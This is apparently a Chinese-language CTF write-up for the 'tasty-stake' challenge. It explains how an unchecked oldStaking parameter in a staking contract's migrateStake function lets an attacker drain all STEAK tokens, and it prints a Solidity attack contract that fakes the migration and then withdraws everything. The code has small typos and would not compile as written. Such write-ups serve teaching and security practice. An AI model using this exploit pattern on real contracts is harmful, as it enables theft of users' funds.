CTF-tasty-stake
CTF-tasty-stake
题目源码点击
题目要求: 有个TastyStaking 合约,该合约允许您质押 STEAK 以种植 BUTTER 代币。您的任务是从质押合约中耗尽所有 STEAK 代币。
首先这个合约是个单合约,实现的功能的挺多的,阅读了很久,看了一下它的提示:所有输入都经过了适当的验证吗?
看来又是参数有问题,来到合约最后,migrateStake合约实现的代币质押的转移
function migrateStake(address oldStaking, uint256 amount) external { |
但是关键来了。对于这个oldStaking,这个函数并没有有什么检查举动,回想前几天刚做的Safu Valut题,和它有点类似,都是没有对外部调用进行一个检查,那么这个题旧很好的解决了
攻击合约:
contract Attack {
address owner;
TastyStaking _tastyStaking;
Token stakingToken;
constructor(address _target, address _stakingToken)
{
attacker = msg.sender;
_tastyStaking = TastyStaking(_target);
stakingToken = Token(_stakingToken);
}
function migrateWithdraw(address staker, uint256 amount) externa{ }
function pwn() external {
//传入的攻击合约的地址,也就是旧地址,
_tastyStaking.migrateStake(address(this), stakingToken.balanceOf(address(_tastyStaking)));
_tastyStaking.withdrawAll(false);
stakingToken.transfer(attacker, stakingToken.balanceOf(address(this)));
}
}
这个逻辑就是,攻击合约伪装成旧抵押合约地址,取得TastyStaking合约的信任后,再执行的withdrawall函数
具体:攻击者伪装成旧合约地址调用TastyStaking合约中的migrateStake函数,然后TastyStaking合约接受到转移的信号,又去旧合约中调用migrateWithdraw函数,提取被转移的代币,但是攻击合约并没有实现migrateWithdraw函数的功能,而TastyStaking合约也没有进行验证,就误以为收到转移的代币,实际没有。这样攻击合约取得了信任,然后就调用TastyStaking合约中withdrawall函数,获得了TastyStaking合约中的所有代币。
All articles in this blog are licensed under CC BY-NC-SA 4.0 unless stating additionally.